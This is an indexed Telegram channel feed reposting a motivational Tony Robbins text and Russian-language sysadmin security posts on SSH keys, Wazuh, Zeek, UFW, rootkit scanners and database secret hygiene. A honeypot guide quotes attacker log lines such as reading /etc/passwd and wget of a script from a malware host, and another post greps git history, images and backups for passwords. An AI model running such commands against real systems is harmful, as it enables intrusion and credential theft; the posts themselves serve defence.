Русский
Открыть в Telegram
UUpload in progress

Upload in progress

@UploadInProgress · канал · Технологии · в индексе с 08.10.2026
131подписчиков
8средний охват поста
6.1%ER — охват к подписчикам
5постов за 30 дней
U
Upload in progress
Ссылка
нажмите — покажем
​​Tony Robbins | Mastery Isn’t Talent — It’s These 3 Habits “Mastery is simple. Model, immerse, repeat. Do that, and nothing can stop you.” - Tony Robbins People often ask me: “Tony, how did someone with no money, no connections, and just a high school education create the life you have today?” The truth is it didn’t happen by chance. It came down to following a few timeless principles that anyone can use, principles that transform potential into mastery. Three, to be exact. 1. Modeling Success leaves clues. When I was 17, broke, and hungry, I realized if I wanted a different life, I had to learn from those who already had the results I wanted. That’s when I met my first mentor, Jim Rohn, who taught me if you want life to change, you have to change. I devoured his work, went to his seminars, and studied his philosophy until it became part of me. By standing on the shoulders of those who have gone before you, you collapse decades into days. 2. Immersion If you want to learn a new language, studying a book will get you there in several months or even years. But drop yourself in a country where no one speaks your native tongue, you’ll pick it up fast, because immersion demands growth. It’s the same with any skill. My events are built around this principle: multi-day, high-energy environments where you’re fully surrounded by the strategies and the mindset until they become second nature. You can’t “dabble” your way into mastery—you have to live it. 3. Repetition Repetition is the mother of skill. I’ve worked with world-class athletes who don’t stop practicing a move when they get it right...they practice until they can’t get it wrong. The same goes for business leaders. Whether it’s sales calls, presentations, or managing people, repetition builds confidence, consistency, and ultimately, mastery. Excellence doesn’t come from intensity—it comes from consistency over time. These principles aren’t flashy. They’re simple. But simplicity is power whe… Читать полностью →
23 ·
Upload in progress
Фотография
🐧 Как за 10 минут настроить SSH-ключи и забыть про пароли Если ты всё ещё вводишь пароль при каждом ssh — эта инструкция для тебя. 1. Генерируем ключ (на своей машине) ssh-keygen -t ed25519 -C "твой@email" Enter, Enter, Enter. Ключ лежит в ~/.ssh/id_ed25519. 2. Копируем публичный ключ на сервер ssh-copy-id user@server Один раз вводишь пароль — и всё. 3. Проверяем ssh user@server Пароль не спрашивает — значит, работает. 4. Отключаем вход по паролю на сервере sudo nano /etc/ssh/sshd_config Меняем: PasswordAuthentication no PubkeyAuthentication yes Рестартим: sudo systemctl restart sshd 5. Проверяем, что не отрезали себе доступ Открой второй терминал и попробуй зайти. Если пускает — всё ок. Бонус: в ~/.ssh/config можно прописать алиасы: text Host myserver HostName 192.168.1.10 User root И заходить просто ssh myserver. Безопаснее, быстрее, и не надо помнить пароли. 👩‍💻 CodeGuard: Linux | Чат
19 ·
U
Фотография
Фотография
Фотография
Фотография
Фотография
Фотография
Фотография
Фотография
Фотография
🔰 Boost your python speed by 300%
24 ·
Upload in progress
Файл
Implementing_DevSecOps (lots of reading, not exercises) .pdf · 12.2 МБ · нажмите — покажем
Implementing_DevSecOps (lots of reading, no exercises, death by reading)
14 ·
U
Файл
DevSecOps_Pipelines_with_Python.pdf · 1.9 МБ · нажмите — покажем
DevSecOps_Pipelines_with_Python (No pipelines, just Python code)
13 ·
Upload in progress
Фотография
🛡 Wazuh: SIEM и защита хостов в одном флаконе Wazuh — это open-source платформа для мониторинга безопасности, обнаружения вторжений и соответствия требованиям. Подходит для серверов, контейнеров и облаков. Часто используют как бесплатную альтернативу коммерческим SIEM. ⚙️ Ключевые возможности Wazuh: ▶️ HIDS — обнаружение атак и подозрительных действий на хосте ▶️ Анализ логов (SSH, sudo, nginx, systemd, Docker) ▶️ File Integrity Monitoring — контроль изменений файлов ▶️ Vulnerability Detection — поиск уязвимостей в ПО ▶️ Интеграция с Elastic Stack (Kibana, Elasticsearch) ⚡️ Быстрый старт с Wazuh: Установка (all-in-one): curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh sudo bash wazuh-install.sh -a Проверка статуса: sudo systemctl status wazuh-manager Подключение агента: sudo wazuh-agent-auth -m <IP_MANAGER> 📱 GitHub 😈 CodeGuard: PySec Edition | Чат
14 ·
Фотография
🐦 Zeek: сетевой анализ без сигнатур Zeek — это мощный open-source network security monitor, который анализирует сетевой трафик на уровне событий и поведения, а не сигнатур. Часто используют для threat hunting и расследований инцидентов. Подходит для SOC, blue team и анализа сложных атак внутри сети. ⚙️ Ключевые возможности Zeek: ▶️ Глубокий анализ сетевых протоколов (HTTP, DNS, SSL, FTP, SSH) ▶️ Поведенческое обнаружение аномалий ▶️ Подробные структурированные логи (conn, dns, http, ssl и др.) ▶️ Поддержка собственных скриптов для детекции ▶️ Интеграция с SIEM и ELK ⚡️ Быстрый старт с Zeek: Установка sudo apt install zeek Запуск анализа pcap zeek -r traffic.pcap Запуск на интерфейсе sudo zeekctl deploy Просмотр логов ls /usr/local/zeek/logs/current 📱 GitHub 😈 CodeGuard: PySec Edition | Чат
10 ·
Фотография
🚨Database secrets: 94% SQL/NoSQL взломов через 3 ошибки База данных с 1M пользователей? Поздравляй - 94% DB брешей через connection strings в коде или бэкапах. postgres://user:pass@db:5432/prod лежит в Git, S3, Docker images. ⚠️Где твои пароли БД уже утекли: 🔴Connection strings в .env или config 🔴pg_dump в S3 без шифрования 🔴Docker layers с /etc/postgresql 🔴Logs с SQL ошибками (relation "users" does not exist) 🔥7 команд → DB под замком 1️⃣ Найди все connection strings (ЭКСТРЕННО) # Git history git log -p | grep -E "(postgres|mysql|mongodb)://|password=|API_KEY" # Docker images docker images --format "{{.Repository}}" | xargs docker run --rm -it {} sh -c "grep -r password /etc" # S3 backups aws s3 ls s3://your-backups/ --recursive | grep dump | xargs aws s3 cp s3://your-backups/ - | strings | grep -i pass 2️⃣ Secrets manager ВМЕСТО .env # AWS Secrets Manager (prod) aws secretsmanager create-secret --name prod/db --secret-string '{"user":"app","password":"Xyz123"}' # В коде PGPASSWORD=$(aws secretsmanager get-secret-value --secret-id prod/db --query SecretString | jq -r .password) 3️⃣ Read-only роли (критично!!) -- ❌ Никогда root/admin CREATE USER app_ro NOSUPERUSER CREATEDB NOCREATEROLE; GRANT SELECT ON ALL TABLES IN SCHEMA public TO app_ro; -- App user только SELECT/INSERT в свои таблицы CREATE USER app_rw NOSUPERUSER NOCREATEDB NOCREATEROLE; GRANT USAGE ON SCHEMA public TO app_rw; GRANT SELECT, INSERT ON users TO app_rw; 4️⃣ Network lockdown # PostgreSQL pg_hba.conf # ❌ localhost + %/0.0.0.0/0 host all all 10.0.0.0/24 md5 # ✅ Только app subnet host app_db app_rw 10.42.0.0/16 scram-sha-256 5️⃣ Backups → encrypted # pg_dump → GPG pg_dump prod | gpg --encrypt -r [email protected] > prod_$(date +%Y%m%d).sql.gpg # S3 KMS aws s3 cp prod.sql --sse aws:kms --sse-kms-key-id alias/db-backups s3://encrypted-backups/ 6️⃣ Audit + WAL logs # PostgreSQL ALTER SYSTEM SET log_connections = on; ALTER SY… Читать полностью →
10 ·
Фотография
🔎 rkhunter — параноик, который не спит на твоём сервере rkhunter (Rootkit Hunter) — классический инструмент для Linux/Unix, предназначенный для обнаружения руткитов, бэкдоров и подозрительных конфигураций. В отличие от «быстрых» сканеров, копает глубже и умеет работать как регулярный сторож системы. Идеален, если: 🟢 нужен более тщательный аудит, чем «разок проверить» 🟢 важно отслеживать изменения системы со временем 🟢 сервер живёт долго и не должен удивлять сюрпризами 🟢 хочется early-warning, а не post-mortem ⚙️ Ключевые возможности rkhunter: 🔵 Поиск известных руткитов, бэкдоров и локальных эксплойтов 🔵 Проверка системных бинарников по хешам 🔵 Анализ прав доступа и опасных конфигураций 🔵 Детект скрытых файлов, процессов и сетевых аномалий 🔵 Логи + режим регулярного cron-сканирования ⚡️ Быстрый старт с rkhunter: Установка: sudo apt install rkhunter # Debian/Ubuntu sudo dnf install rkhunter # RHEL/CentOS Обновление сигнатур: sudo rkhunter --update Первичное сканирование: sudo rkhunter --check 📌 Что реально находит: 🟢 подмену системных утилит (ls, ps, netstat и др.) 🟢 подозрительные права на важные файлы 🟢 следы популярных руткитов и бэкдоров 🟢 небезопасные настройки SSH, cron, sysctl 🟢 аномалии, появившиеся после взлома Где использовать rkhunter: 🔴 Долгоживущие прод‑серверы 🔴 VPS с публичным доступом 🔴 Регулярный security‑мониторинг через cron 🔴 В связке с Chkrootkit, Lynis, AIDE 🔴 Как система раннего оповещения, а не «после пожара» 😈 CodeGuard: PySec Edition | Чат
15 ·
Upload in progress
Фотография
OpenTunnel A blind TLS tunnel hosted on Cloudflare. Each client receives a unique <id>.opentunnel.xyz hostname and terminates TLS locally, so neither Cloudflare Workers nor the relay stores the certificate private key or sees HTTP plaintext. https://opentunnel.xyz/ Create end-to-end encrypted public urls for apps running on your machine reachable from anywhere in the world $ curl -fsSL https://opentunnel.xyz/install | sh $ opentunnel route add 47365 creating tunnel... tunnel is ready. added route 3e9b1c07a4d25f86 → 127.0.0.1:47365 https://3e9b1c07a4d25f86.f7a2mx4kq9vn.opentunnel.xyz $ curl https://3e9b1c07a4d25f86.f7a2mx4kq9vn.opentunnel.xyz hello from localhost:47365
8 ·
U
Фотография
🔥 ПРАКТИЧЕСКИЙ ГАЙД: Настройка UFW — защита сервера за 10 минут Ты поставил сервер, открыл SSH и пошёл спать. А утром обнаружил в логах тысячи попыток подбора пароля. Знакомая ситуация? UFW (Uncomplicated Firewall) решает это за 10 минут. Простой интерфейс для iptables, который превращает хаос в порядок. Основная часть: 🎯 Что такое UFW: надстройка над iptables, созданная для упрощения настройки файрвола в Ubuntu и Debian. Синтаксис — как у обычных команд, без сложных цепочек и таблиц. 📦 Установка и включение: sudo apt install ufw sudo ufw enable По умолчанию UFW блокирует весь входящий трафик и разрешает весь исходящий. Это безопасная отправная точка. 🔓 Разрешить SSH перед включением: если ты на удалённом сервере, сначала разреши SSH, иначе потеряешь доступ: sudo ufw allow ssh # или конкретный порт sudo ufw allow 2222/tcp 🌐 Разрешить веб-трафик: sudo ufw allow 80/tcp # HTTP sudo ufw allow 443/tcp # HTTPS 🚫 Заблокировать конкретный IP: если видишь атаку с одного адреса: sudo ufw deny from 192.168.1.100 📊 Проверка статуса: sudo ufw status verbose Покажет все активные правила с номерами. Удалить правило — sudo ufw delete <номер>. ⚙️ Ограничение попыток подключения: UFW умеет автоматически блокировать IP после 6 неудачных попыток за 30 секунд: sudo ufw limit ssh 📝 Логирование: включи логи, чтобы видеть, что блокируется: sudo ufw logging on tail -f /var/log/ufw.log Практический пример/применение: Настрой базовую защиту для веб-сервера: sudo ufw default deny incoming sudo ufw default allow outgoing sudo ufw allow ssh sudo ufw allow 80/tcp sudo ufw allow 443/tcp sudo ufw limit ssh sudo ufw enable sudo ufw status verbose Через минуту сервер закрыт для всего, кроме SSH и веба. Атаки на другие порты будут отбрасываться, а попытки брутфорса SSH — автоматически блокироваться после нескольких неудач. 👩‍💻 CodeGuard: Linux | Чат
9 ·
Upload in progress
Фотография
📚 The Book of Secret Knowledge — 50 000+ звёзд и лучшая коллекция знаний для Linux-инженера Утро. Ты когда-нибудь терял полезную ссылку, шпаргалку или команду, потому что сохранил её в закладки и забыл? Этот репозиторий решает проблему: автор собрал в одном месте всё, что нужно Linux-админу, DevOps-инженеру и безопаснику. От однострочников до книг и блогов. Один раз сохранил — и забыл про хаос в закладках. Что это trimstray/the-book-of-secret-knowledge — кураторский список материалов по Linux, сетям, DevOps и безопасности. Более 50 000 звёзд на GitHub. Репозиторий живой: автор регулярно добавляет новое и проверяет ссылки. Внутри — не просто список ссылок. Это структурированная база: CLI-инструменты, шпаргалки, однострочники, мануалы, книги, блоги, подкасты. Всё разбито по категориям, чтобы найти нужное за секунды. Что внутри 🔵CLI Tools — утилиты для работы с текстом, сетью, файлами, мониторинга. От jq и fzf до tcpdump и htop. 🔵GUI Tools — графические аналоги для тех, кто предпочитает мышь. 🔵Web Tools — онлайн-сервисы для проверки конфигов, анализа логов, тестирования API. 🔵One-liners — однострочники на все случаи: от очистки логов до анализа трафика. 🔵Cheat Sheets — шпаргалки по Git, Docker, Kubernetes, Bash, Vim. 🔵Books & Blogs — подборка литературы и ресурсов для углублённого изучения. 🔵Podcasts & Videos — что слушать и смотреть по дороге. Практический пример Открой раздел One-liners и найди «топ-10 IP в логе». Там будет готовая команда: cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head -10 Копируешь, подставляешь свой лог — и через секунду знаешь, кто долбит сервер. Без гуглинга и подбора флагов. 👩‍💻 CodeGuard: Linux | Чат
9 ·
U
Фотография
5️⃣ инструментов для аудита безопасности Linux-сервера Ты настроил сервер, поставил файрвол, обновил пакеты. Но уверен ли ты, что в системе нет rootkit'ов, лишних SUID-бинарников и слабых конфигов? Проверить это вручную — часы. Эти пять инструментов делают аудит за минуты. Я использую их после каждой установки или крупного обновления. 1. Lynis — комплексный аудит системы Lynis проверяет сотни параметров: настройки ядра, права доступа, конфиги сервисов, наличие обновлений, слабые пароли. После сканирования выдаёт отчёт с оценкой hardening index и списком рекомендаций. sudo apt install lynis sudo lynis audit system Что даёт: понимание общей картины безопасности. Отчёт можно использовать как чек-лист для исправлений. 🔗 Lynis 2. Chkrootkit — поиск руткитов Chkrootkit проверяет систему на известные руткиты, трояны и подменённые бинарники. Работает быстро, не требует настройки. sudo apt install chkrootkit sudo chkrootkit Что даёт: быструю проверку на компрометацию. Если что-то найдёт — покажет, что именно. 🔗 Chkrootkit 3. Rkhunter — ещё один сканер руткитов Rkhunter (Rootkit Hunter) делает то же, что Chkrootkit, но с другими эвристиками. Я запускаю оба — иногда находят разное. sudo apt install rkhunter sudo rkhunter --check Что даёт: дополнительный уровень проверки. Можно обновлять базы сигнатур через rkhunter --update. 🔗 Rkhunter 4. AIDE — контроль целостности файлов AIDE (Advanced Intrusion Detection Environment) создаёт базу хешей всех важных файлов. При следующем запуске сравнивает текущее состояние с базой и сообщает, что изменилось. sudo apt install aide sudo aideinit sudo aide --check Что даёт: обнаружение несанкционированных изменений. Если атакующий подменил бинарник или добавил файл в /etc — AIDE это покажет. 🔗 AIDE 5. ClamAV — антивирус для Linux ClamAV — open-source антивирус. Он не заменит EDR, но для проверки входящих файлов и почты подходит. Можно сканировать директории вручную или настроить автоматическую проверку. sudo apt install clamav sudo freshc… Читать полностью →
10 ·
U
Upload in progress
Фотография
🍯 Honeypot за 10 минут: как поймать атакующего и не подставиться Ты хочешь узнать, кто и как пытается атаковать твою сеть. Или просто интересуешься, что происходит на периметре. Honeypot — приманка, которая выглядит как уязвимый сервис, но на самом деле собирает данные об атакующих. Развернуть его проще, чем кажется. Что это 🟣 Honeypot — это сервис-ловушка, который имитирует уязвимую систему. Атакующий думает, что нашёл цель, а ты фиксируешь его IP, команды, тактики. Это пассивный способ разведки, который не требует активных действий. Для быстрого старта я использую Cowrie — SSH/Telnet honeypot на Python. Он эмулирует реальную оболочку и записывает всё, что делает атакующий. Установка и запуск # Клонируем репозиторий git clone https://github.com/cowrie/cowrie cd cowrie # Запускаем через Docker (самый простой способ) docker run -d --name cowrie -p 2222:2222 cowrie/cowrie Honeypot слушает порт 2222 (чтобы не мешать реальному SSH на 22). Атакующий, который сканирует сеть, увидит открытый порт и попробует подключиться. Что ты увидишь Все попытки логина и команды записываются в логи: docker logs cowrie Пример вывода: New connection: 185.234.72.11:54321 Login attempt: root/123456 Command: cat /etc/passwd Command: wget http://malware.com/bot.sh Ты видишь IP, логины и пароли, которые перебирает атакующий, и команды, которые он пытается выполнить. 😈 CodeGuard: PySec Edition | Чат
6 ·

Открытая публичная лента из поискового индекса ChatCrawler — «Google по публичному Telegram»; обновляется по мере обхода площадки. Время — UTC.

Только публичный контент, официальный API Telegram. О проекте · Вопросы · Границы индекса · Убрать страницу из выдачи · Каталог · Поиск · Как мы считаем